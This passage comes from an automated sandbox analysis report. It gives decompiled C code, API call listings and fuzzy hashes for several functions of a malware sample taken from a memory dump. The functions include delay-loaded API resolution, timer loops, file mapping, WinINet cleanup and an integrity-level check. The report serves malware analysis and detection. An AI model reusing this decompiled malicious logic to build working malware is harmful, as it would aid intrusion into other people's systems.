								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x79a1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x79a1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x79a1b8; // 0x0
										 *_t102 = _t125;
										 *0x79a1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x79a1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x00797fd4
0x00797fea
0x00797ff0
0x00797ff2
0x00797ff7
0x00797ffd
0x00798002
0x00798005
0x00798013
0x0079801a
0x0079801d
0x00798020
0x00798021
0x00798024
0x00798027
0x0079802a
0x0079802f
0x0079803e
0x00000000
0x00798044
0x0079804e
0x00798058
0x0079805d
0x0079805f
0x00798069
0x0079806c
0x0079806f
0x00798075
0x00798077
0x00798077
0x0079807a
0x0079807d
0x00798082
0x00798086
0x00798099
0x0079809b
0x00798143
0x00798143
0x0079814a
0x0079814d
0x00798157
0x00798157
0x0079815b
0x007981d9
0x007981dc
0x007981de
0x007981de
0x007981e5
0x007981e7
0x007981f1
0x007981f4
0x007981f7
0x007981f7
0x00000000
0x0079815d
0x00798160
0x0079818e
0x00798198
0x0079819c
0x007981a4
0x007981a7
0x007981ae
0x007981b8
0x007981b8
0x007981bc
0x007981c1
0x007981d0
0x007981d6
0x007981d6
0x007981bc
0x00000000
0x00798167
0x0079816a
0x00798172
0x00798187
0x0079818c
0x00000000
0x00000000
0x0079818c
0x00000000
0x00798172
0x00798160
0x0079815b
0x007980a1
0x007980a8
0x007980b8
0x007980bb
0x007980c1
0x007980c5
0x00798108
0x00798114
0x0079813d
0x00798116
0x0079811a
0x00798120
0x00798128
0x0079812a
0x0079812d
0x00798133
0x00798135
0x00798135
0x00798128
0x0079811a
0x00000000
0x00798114
0x007980cd
0x007980d0
0x007980d7
0x007980e7
0x007980ea
0x007980fa
0x00000000
0x00798100
0x007980e1
0x007980e5
0x00000000
0x00000000
0x00000000
0x007980e5
0x007980b2
0x007980b6
0x00000000
0x00000000
0x00000000
0x007980b6
0x0079808f
0x00798093
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0079803E
LoadLibraryA.KERNELBASE(?), ref: 007980BB
GetLastError.KERNEL32 ref: 007980C7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 007980FA

Strings

$, xrefs: 00798013

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 5cb64f01edaeacb3df1b004fada232c438bbe881e8095d19a9ec33c7ec9cda73
Instruction ID: 1e56fc75a3c68243d05478151510302ffee260ab89cff4f199eb7a0cea13d069
Opcode Fuzzy Hash: 5cb64f01edaeacb3df1b004fada232c438bbe881e8095d19a9ec33c7ec9cda73
Instruction Fuzzy Hash: FA813C71A40209AFDF50CFA8D884BAEB7F5FB49300F14802EE915D7250EB78E906CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00796815 Relevance: 16.7, APIs: 11, Instructions: 151
timememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00796815(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x79a2e0);
					_v76 = 0;
					_v80 = 0;
					L007982DA();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x79a30c; // 0x1ac
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x79a2ec = 5;
						} else {
							_t69 = E00795251(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x79a300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E007935D2( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v124.HighPart = E007969E6(_t75,  &_v72, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x79a2e4);
							goto L21;
						} else {
							__eflags =  *0x79a2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E007963F6();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x79a2e8);
								L21:
								L007982DA();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							HeapFree( *0x79a2d8, 0, _t54);
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}

0x00796815
0x0079682b
0x0079682f
0x00796834
0x0079683b
0x00796841
0x00796847
0x007969ce
0x0079684d
0x0079684d
0x0079684f
0x00796854
0x00796855
0x0079685b
0x0079685f
0x00796863
0x00796871
0x0079687f
0x00796883
0x00796885
0x00796892
0x0079689e
0x007968a0
0x007968a6
0x007968af
0x007968ba
0x007968ba
0x007968b1
0x007968b1
0x007968b8
0x00000000
0x00000000
0x007968b8
0x007968c4
0x00000000
0x007968c8
0x007968cd
0x007968d8
0x007968d8
0x007968e0
0x007968e6
0x007968ee
0x007968f7
0x007968fe
0x00796902
0x00796907
0x0079690d
0x00000000
0x00000000
0x0079690f
0x00796913
0x0079691a
0x00000000
0x0079691c
0x0079692c
0x0079692c
0x00000000
0x0079695d
0x0079695d
0x00796962
0x00796981
0x00796983
0x00796988
0x00796989
0x00000000
0x00796964
0x00796964
0x0079696a
0x00000000
0x0079696c
0x0079696c
0x00796971
0x00796973
0x00796978
0x00796979
0x0079698f
0x0079698f
0x00796997
0x007969a5
0x007969a9
0x007969b5
0x007969b7
0x007969bb
0x007969bd
0x00000000
0x007969c3
0x00000000
0x007969c3
0x007969bd
0x0079696a
0x00000000
0x00796962
0x00796930
0x00796932
0x00796936
0x00796937
0x00796937
0x0079693b
0x00796945
0x00796945
0x0079694b
0x0079694e
0x0079694e
0x00796955
0x00796955
0x007969dc
0x00000000

APIs

memset.NTDLL ref: 0079682F
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 0079683B
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 00796863
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 00796883
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,007926E9,?), ref: 0079689E
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,007926E9,?,00000000), ref: 00796945
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,007926E9,?,00000000,?,?), ref: 00796955
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 0079698F
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 007969A9
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 007969B5

Part of subcall function 00795251: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,02D29218,00000000,?,74D0F710,00000000,74D0F730), ref: 007952A0
Part of subcall function 00795251: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,02D29160,?,00000000,30314549,00000014,004F0053,02D29270), ref: 0079533D
Part of subcall function 00795251: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,007968B6), ref: 0079534F

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,007926E9,?,00000000,?,?), ref: 007969C8

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: e46555ee04da248a33695db7265df91bef282caa5b7aa3f5135b500bedb91c2d
Instruction ID: 1b6e998e6e1a579a13426fdea88257e999337d63335824f33ff256116a8eb6f7
Opcode Fuzzy Hash: e46555ee04da248a33695db7265df91bef282caa5b7aa3f5135b500bedb91c2d
Instruction Fuzzy Hash: 32518D71409320BFDB10AF15AC44DABBBE8FB89360F108B1EF5A5921A0D738D545CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0079415A Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E0079415A(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L007982D4();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x79a348; // 0x258d5a8
				_t5 = _t13 + 0x79b7b4; // 0x2d28d5c
				_t6 = _t13 + 0x79b644; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L00797F3A();
				_t17 = CreateFileMappingW(0xffffffff, 0x79a34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x0079415a
0x00794162
0x00794166
0x0079416c
0x00794171
0x00794176
0x00794179
0x0079417c
0x00794181
0x00794182
0x00794185
0x0079418a
0x00794191
0x0079419b
0x0079419d
0x0079419e
0x007941a1
0x007941bd
0x007941c3
0x007941c7
0x00794215
0x007941c9
0x007941d6
0x007941e6
0x007941ee
0x00794200
0x00794204
0x00000000
0x00000000
0x007941f0
0x007941f3
0x007941f8
0x007941fa
0x007941fa
0x007941d8
0x007941da
0x00794206
0x00794207
0x00794207
0x007941d6
0x0079421c

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,007925B1,?,?,4D283A53,?,?), ref: 00794166
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 0079417C
_snwprintf.NTDLL ref: 007941A1
CreateFileMappingW.KERNELBASE(000000FF,0079A34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 007941BD
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,007925B1,?,?,4D283A53,?), ref: 007941CF
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 007941E6
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,007925B1,?,?,4D283A53), ref: 00794207
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,007925B1,?,?,4D283A53,?), ref: 0079420F

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 6a2678e0189ce07fb7654bc103780b0f45415ea2419460844216df5bc15d2d92
Instruction ID: 99341813b4c44fdc35df891f6399f9dfe3c1ec27564b2a7aa989a7e64ff1ec22
Opcode Fuzzy Hash: 6a2678e0189ce07fb7654bc103780b0f45415ea2419460844216df5bc15d2d92
Instruction Fuzzy Hash: 5B21D672640204BBDB11EB6CEC06F9E37B9BB88750F214126F615E71D0DB789907CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00794BE7 Relevance: 12.1, APIs: 8, Instructions: 75
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00794BE7(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E007916B2(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					CloseHandle(_t20);
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E007961DA(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E007961DA(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E007961DA(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E007961DA(_t46);
				}
				return _t24;
			}

0x00794be7
0x00794be7
0x00794be9
0x00794beb
0x00794bf2
0x00794bf9
0x00794bf9
0x00794bfe
0x00794c01
0x00794c08
0x00794c11
0x00794c15
0x00794c1a
0x00794c1a
0x00794c1c
0x00794c21
0x00794c25
0x00794c2a
0x00794c2a
0x00794c2c
0x00794c31
0x00794c35
0x00794c3a
0x00794c3a
0x00794c3c
0x00794c47
0x00794c4a
0x00794c4a
0x00794c4c
0x00794c51
0x00794c54
0x00794c54
0x00794c56
0x00794c5d
0x00794c60
0x00794c65
0x00794c68
0x00794c68
0x00794c6b
0x00794c70
0x00794c73
0x00794c73
0x00794c78
0x00794c7c
0x00794c7f
0x00794c7f
0x00794c84
0x00794c89
0x00000000
0x00794c8c
0x00794c93

APIs

InternetSetStatusCallback.WININET(?,00000000), ref: 00794C15
InternetCloseHandle.WININET(?), ref: 00794C1A
InternetSetStatusCallback.WININET(?,00000000), ref: 00794C25
InternetCloseHandle.WININET(?), ref: 00794C2A
InternetSetStatusCallback.WININET(?,00000000), ref: 00794C35
InternetCloseHandle.WININET(?), ref: 00794C3A
CloseHandle.KERNEL32(?,00000000,00000102,?,?,00792248,?,?,74CF81D0,00000000,00000000), ref: 00794C4A
CloseHandle.KERNEL32(?,00000000,00000102,?,?,00792248,?,?,74CF81D0,00000000,00000000), ref: 00794C54

Part of subcall function 007916B2: WaitForMultipleObjects.KERNEL32(00000002,00797C47,00000000,00797C47,?,?,?,00797C47,0000EA60), ref: 007916CD

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Internet$CloseHandle$CallbackStatus$MultipleObjectsWait
String ID:
API String ID: 2824497044-0
Opcode ID: 0d139d9fe2c085fa4bd67dc928d7230d08551b3c0ad1dedea1541db7c5b413e9
Instruction ID: 531b783d12627a13ec9de794757417b7efe3edbf007ee9f476815e9098cfd1b1
Opcode Fuzzy Hash: 0d139d9fe2c085fa4bd67dc928d7230d08551b3c0ad1dedea1541db7c5b413e9
Instruction Fuzzy Hash: EB116A7660164CABCA30AFAAFD94C1BB7FDAB453003554E19F185D3611C728FC468A64

Uniqueness

Uniqueness Score: -1.00%

Function 00795E40 Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00795E40(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x79a2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E007933DC(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E007961DA(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x00795e4d
0x00795e54
0x00795e5b
0x00795e6f
0x00795e7a
0x00795e92
0x00795e9f
0x00795ea2
0x00795ea7
0x00795eb2
0x00795eb6
0x00795ec5
0x00795ec9
0x00795ee5
0x00795ee5
0x00795ee9
0x00795ee9
0x00795eee
0x00795ef2
0x00795ef8
0x00795ef9
0x00795f00
0x00795f06

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 00795E72
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 00795E92
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00795EA2
CloseHandle.KERNEL32(00000000), ref: 00795EF2

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 00795EC5
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 00795ECD
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 00795EDD

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: b25c3eda7755f070721effc2e5d17b51044292d4440ffe5e01b0eec948e3df70
Instruction ID: 9ac0abc451d2f96d57d555b4cc86860b6e499be5eca710116593611286fc4d45
Opcode Fuzzy Hash: b25c3eda7755f070721effc2e5d17b51044292d4440ffe5e01b0eec948e3df70
Instruction Fuzzy Hash: 0321487590021DFFEF01DF94DC85EAEBBB9EB48304F0040A6EA10A6161DB798B45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00796675 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00796675(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x79a348; // 0x258d5a8
				_t1 = _t9 + 0x79b516; // 0x253d7325
				_t36 = 0;
				_t28 = E00795815(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x2d29601
					_t40 = E007933DC(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E00795063(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E007961DA(_t40);
						_t42 = E00794AC7(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E007961DA(_t36);
							_t36 = _t42;
						}
						_t43 = E00792708(_t36, _t33);
						if(_t43 != 0) {
							E007961DA(_t36);
							_t36 = _t43;
						}
					}
					E007961DA(_t28);
				}
				return _t36;
			}

0x00796675
0x00796678
0x00796679
0x00796680
0x00796687
0x0079668e
0x00796692
0x00796699
0x007966a0
0x007966a5
0x007966ad
0x007966b7
0x007966bb
0x007966bf
0x007966c5
0x007966ca
0x007966d4
0x007966da
0x007966dc
0x007966f3
0x007966f7
0x007966fa
0x007966ff
0x007966ff
0x00796708
0x0079670c
0x0079670f
0x00796714
0x00796714
0x0079670c
0x00796717
0x0079671c
0x00796722

APIs

Part of subcall function 00795815: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,0079668E,253D7325,00000000,00000000,?,7491C740,00793ECE), ref: 0079587C
Part of subcall function 00795815: sprintf.NTDLL ref: 0079589D

lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,00793ECE,00000000,02D29600), ref: 007966A0
lstrlen.KERNEL32(00000000,?,7491C740,00793ECE,00000000,02D29600), ref: 007966A8

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

strcpy.NTDLL ref: 007966BF
lstrcat.KERNEL32(00000000,00000000), ref: 007966CA

Part of subcall function 00795063: lstrlen.KERNEL32(00000000,00000000,00793ECE,00000000,?,007966D9,00000000,00793ECE,?,7491C740,00793ECE,00000000,02D29600), ref: 00795074

Part of subcall function 007961DA: RtlFreeHeap.NTDLL(00000000,00000000,00796383,00000000,?,00000000,00000000), ref: 007961E6

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,00793ECE,?,7491C740,00793ECE,00000000,02D29600), ref: 007966E7

Part of subcall function 00794AC7: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,007966F3,00000000,?,7491C740,00793ECE,00000000,02D29600), ref: 00794AD1
Part of subcall function 00794AC7: _snprintf.NTDLL ref: 00794B2F

Strings

=, xrefs: 007966E1

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: ec2311712e93609a4beb1c443e26d4dc56bdff4615f6e2d9808bc19bcaff6cd4
Instruction ID: 6787ee9aaf35c5642be0349c68a7bbf7d1f829815c9fa8f035be51014bafb6c5
Opcode Fuzzy Hash: ec2311712e93609a4beb1c443e26d4dc56bdff4615f6e2d9808bc19bcaff6cd4
Instruction Fuzzy Hash: A611C273911539B78E12BBB8BC89CAE37AD9E897643054217FA04A7202DE3CDD0247E1

Uniqueness

Uniqueness Score: -1.00%

Function 00401202 Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401202(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
